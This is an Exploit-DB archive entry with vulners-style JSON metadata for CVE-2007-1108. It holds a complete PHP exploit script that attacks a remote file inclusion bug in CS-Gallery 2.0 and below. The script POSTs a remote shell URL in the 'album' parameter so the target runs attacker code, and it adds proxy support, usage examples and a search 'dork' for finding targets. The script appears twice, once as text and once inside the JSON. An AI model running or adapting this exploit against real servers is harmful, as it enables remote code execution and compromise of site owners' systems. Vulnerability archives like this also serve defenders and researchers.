ID EDB-ID:3372
Type exploitdb
Reporter burncycle
Modified 2007-02-24T00:00:00
Description
CS-Gallery 2.0 (index.php album) Remote File Include Exploit. CVE-2007-1108. Webapps exploit for php platform
<?php
//File Inclusion Exploit for CS_Gallery <= 2.0
//Found and Exploit Coded by burncycle - burncycle[(at)]robert-beran[(dot)]de
//|
//Vendor: http://www.cschneider.de/
//Dork: www.cschneider.info
//|
//Bug in "index.php":
//..
//$codefile=$_POST['album'].'/code.php';
//include $codefile;
//..
//|
//Usage: php exploit.php [pathtoscript] [pathtoshell] ([proxy:port])
//Example: php exploit.php http://pathtoscript.com/cs_gallery/ http://pathtoshell.com/shell.txt? (localhost:8118)
//|
//Your Box Needs the cURL extension of PHP
//The exploit works only with allow_url_fopen = On and allow_url_include = On PHP settings on the target box
//|
//Edited 20.05.2007 by ensai (the same person as burncycle ;))
//Added proxy support, working conditions supplemented and easier file inclusion statement
//Nur ausnahme Fehler anzeigen
error_reporting(1);
echo "Usage: php ".$_SERVER["argv"][0]." [pathtoscript] [pathtoshell] ([proxy:port])\r\n\r\n";
echo "Example: php ".$_SERVER["argv"][0]." http://pathtoscript.com/cs_gallery/ http://pathtoshell.com/shell.txt? (localhost:8118)\r\n\r\n";
//Schauen ob alles angegeben wurde
if(!empty($_SERVER["argv"][1]) && !empty($_SERVER["argv"][2]))
{
$pathtoscript = $_SERVER["argv"][1];
$pathtoshell = $_SERVER["argv"][2];
//erzeuge ein neues cURL Handle
$ch = curl_init();
//proxy setzen
if (!empty($_SERVER['argv'][3]))
{
curl_setopt($ch, CURLOPT_PROXY, $_SERVER['argv'][3]);
}
//setzte die URL und andere Optionen
curl_setopt($ch, CURLOPT_URL, $pathtoscript."index.php?todo=securealbum");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "album=".$pathtoshell);
//f?hre die Aktion aus
curl_exec($ch);
//schlie?e das Handle und gebe Systemresourcen frei
curl_close($ch);
}
?>
# milw0rm.com [2007-02-24]
{"hash": "d2c725b113abf84deb889e024d06bcf8d49385309b61cb78bd590d78f68bce37", "id": "EDB-ID:3372", "lastseen": "2016-01-31T18:19:58", "enchantments": {"vulnersScore": 7.5}, "bulletinFamily": "exploit", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "edition": 1, "history": [], "type": "exploitdb", "sourceHref": "https://www.exploit-db.com/download/3372/", "description": "CS-Gallery 2.0 (index.php album) Remote File Include Exploit. CVE-2007-1108. Webapps exploit for php platform", "title": "CS-Gallery 2.0 index.php album Remote File Include Exploit", "sourceData": "<?php\n\n//File Inclusion Exploit for CS_Gallery <= 2.0\n//Found and Exploit Coded by burncycle - burncycle[(at)]robert-beran[(dot)]de\n//|\n//Vendor: http://www.cschneider.de/\n//Dork: www.cschneider.info\n//|\n//Bug in \"index.php\":\n//..\n//$codefile=$_POST['album'].'/code.php';\n//include $codefile;\n//..\n//|\n//Usage: php exploit.php [pathtoscript] [pathtoshell] ([proxy:port])\n//Example: php exploit.php http://pathtoscript.com/cs_gallery/ http://pathtoshell.com/shell.txt? (localhost:8118)\n//|\n//Your Box Needs the cURL extension of PHP\n//The exploit works only with allow_url_fopen = On and allow_url_include = On PHP settings on the target box\n//|\n//Edited 20.05.2007 by ensai (the same person as burncycle ;))\n//Added proxy support, working conditions supplemented and easier file inclusion statement\n\n//Nur ausnahme Fehler anzeigen\nerror_reporting(1);\n\necho \"Usage: php \".$_SERVER[\"argv\"][0].\" [pathtoscript] [pathtoshell] ([proxy:port])\\r\\n\\r\\n\";\necho \"Example: php \".$_SERVER[\"argv\"][0].\" http://pathtoscript.com/cs_gallery/ http://pathtoshell.com/shell.txt? (localhost:8118)\\r\\n\\r\\n\";\n\n//Schauen ob alles angegeben wurde\nif(!empty($_SERVER[\"argv\"][1]) && !empty($_SERVER[\"argv\"][2]))\n{\n\n $pathtoscript = $_SERVER[\"argv\"][1];\n $pathtoshell = $_SERVER[\"argv\"][2];\n\n //erzeuge ein neues cURL Handle\n $ch = curl_init();\n \n //proxy setzen\n if (!empty($_SERVER['argv'][3]))\n {\n curl_setopt($ch, CURLOPT_PROXY, $_SERVER['argv'][3]);\n }\n\n //setzte die URL und andere Optionen\n curl_setopt($ch, CURLOPT_URL, $pathtoscript.\"index.php?todo=securealbum\");\n curl_setopt($ch, CURLOPT_HEADER, 0);\n curl_setopt($ch, CURLOPT_POST, 1);\n curl_setopt($ch, CURLOPT_POSTFIELDS, \"album=\".$pathtoshell);\n\n //f?hre die Aktion aus\n curl_exec($ch);\n\n //schlie?e das Handle und gebe Systemresourcen frei\n curl_close($ch);\n\n}\n\n?>\n\n# milw0rm.com [2007-02-24]\n", "objectVersion": "1.0", "cvelist": ["CVE-2007-1108"], "published": "2007-02-24T00:00:00", "osvdbidlist": ["33754"], "references": [], "reporter": "burncycle", "modified": "2007-02-24T00:00:00", "href": "https://www.exploit-db.com/exploits/3372/"}
{"result": {"cve": [{"id": "CVE-2007-1108", "type": "cve", "title": "CVE-2007-1108", "description": "PHP remote file inclusion vulnerability in index.php in Christian Schneider CS-Gallery 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the album parameter during a securealbum todo action.", "published": "2007-02-26T12:28:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2007-1108", "cvelist": ["CVE-2007-1108"], "lastseen": "2017-10-11T11:07:01"}], "osvdb": [{"id": "OSVDB:33754", "type": "osvdb", "title": "CS-Gallery index.php album Variable Remote File Inclusion", "description": "# No description provided by the source\n\n## References:\n[Secunia Advisory ID:24291](https://secuniaresearch.flexerasoftware.com/advisories/24291/)\nOther Advisory URL: http://www.milw0rm.com/exploits/3372\nISS X-Force ID: 32674\nFrSIRT Advisory: ADV-2007-0734\n[CVE-2007-1108](https://vulners.com/cve/CVE-2007-1108)\nBugtraq ID: 22712\n", "published": "2007-02-24T10:48:43", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://vulners.com/osvdb/OSVDB:33754", "cvelist": ["CVE-2007-1108"], "lastseen": "2017-04-28T13:20:30"}]}}
